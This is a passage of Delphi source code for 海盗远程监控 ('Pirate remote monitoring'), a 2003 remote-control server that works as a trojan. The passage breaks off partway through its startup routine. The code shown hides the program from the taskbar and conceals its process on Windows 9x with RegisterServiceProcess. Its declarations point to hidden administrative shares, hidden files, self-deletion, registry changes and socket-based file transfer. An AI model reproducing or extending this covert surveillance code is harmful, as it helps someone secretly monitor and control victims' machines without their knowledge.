umain.~pas

一个远程监控程序

//***************************************************************************//
//**                      海盗远程监控服务器端 V1.1a                       **//
//**  时间:2003.01.28                                                      **//
//**  Designed By Mr.Army                                                  **//
//**  版    权: CopyRight(C) 2002  By Army                                 **//
//**          : 2003.03.09第13次修改了其中传输文件的BUG                    **//
//**  网    址: Http://CnnetSpy.yeah.net                                   **//
//***************************************************************************//
//** 当前最大编码:012
unit Umain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  jpeg, ScktComp, shellapi,Registry, StdCtrls, ExtCtrls,System2,iniFiles;
type
  TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
  TState = (stwait, stspy, stsend, streceive, stGetFile);
  TSpyser = class(TForm)
    ServerSocket1: TServerSocket;
    ListBox1: TListBox;
    Timer1: TTimer;
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
  private
    operFile : File of Byte;
    State : TState;
    cachefile : string;
    opFile    : file of byte;
    buf       : array[0..1023] of byte;
    Counter, count   : integer;
    LastDrive : char;
    WindowsDir  :String;
    SystemDir   :String;
    tempStr     :String;
    TempWinDir  :String;     //保存系统的安装目录////
    TempSySDir  :String;     ///保存系统的系统目录///
    Tempbackup  :String;
     { Private declarations }
    function regr: boolean;
    function regw: boolean;
    procedure f_common_system_share(as_dir:String);
    procedure hidefile;
    procedure cancel_file_access(Filename:String);
    //*                   用户自定义共享目录                    *//
    //* as_share_dir:共享目录        ab_flag:是否用"$" 隐藏共享 *//
    //* 返回目录是否存在                                        *//
    function  f_common_directory_share(as_share_dir:string; ab_flag:boolean):boolean;
    procedure p_create_delete_me_file; //创建删除自生文件;
    procedure p_uninstall_pirate; //卸载
  public
     { Private declarations }
  end;

var
  Spyser: TSpyser;
  system1:tsystem;
  iniconfig:Tinifile;
implementation

uses Rec_Message, Error;
{$R *.DFM}

procedure TSpyser.cancel_file_access(Filename: String);
Var
  Attrs :Integer;
begin
  If FileExists(FileName) Then begin
     Attrs := FileGetAttr(Filename); //得到文件的属性
     if Attrs and faReadonly <> 0 then
        FileSetAttr(FileName,Attrs-faReadonly-faHidden);  //减去只读-隐藏
  End;
end;

procedure TSpyser.FormCreate(Sender: TObject);
var
   dchar : char;
   temp : string;
   result : integer;
   TmpDir :Array [0..20] of Char;
   Reg     : TRegistry;
   Str1    : String;
   SFilename :string;
   HWndWindow:integer;
   li_Handle:integer;
   hNdl :THandle;
   hMutex:HWND;
   Ret:Integer;
   Li_rtn:boolean;
   RegisterServiceProcess: TRegisterServiceProcess;
   Exehandle:Thandle;
begin
 //查测内存中是否存在该应用程序，如果存在则发送退出消息//
{ If ParamCount<=0 Then begin
   ExeHandle:=FindWindow(nil,'TSpyser');
   if ExeHandle <> 0 then
     halt;
 end;}
  ///////////////////////////////////////////////////////////////
    SetWindowLong(Application.Handle, GWL_EXSTYLE,
    GetWindowLong(Application.Handle, GWL_EXSTYLE) or
    WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
  /////////////////////////////////////////////////////////
   if system1.system<>bswinNT then begin //如果是Win9x则进程隐藏;
     hNdl:=LoadLibrary('KERNEL32.DLL');
     RegisterServiceProcess:=GetProcAddress(hNdl, 'RegisterServiceProcess');
     RegisterServiceProcess (GetCurrentProcessID, 1);
     FreeLibrary(hNdl);
  end;
  WindowsDir:=system1.windowsdirectory;    //得到Windows目录
  SystemDir:=System1.Systemdirectory;      //得到System目录
  TempWinDir:=WindowsDir+'\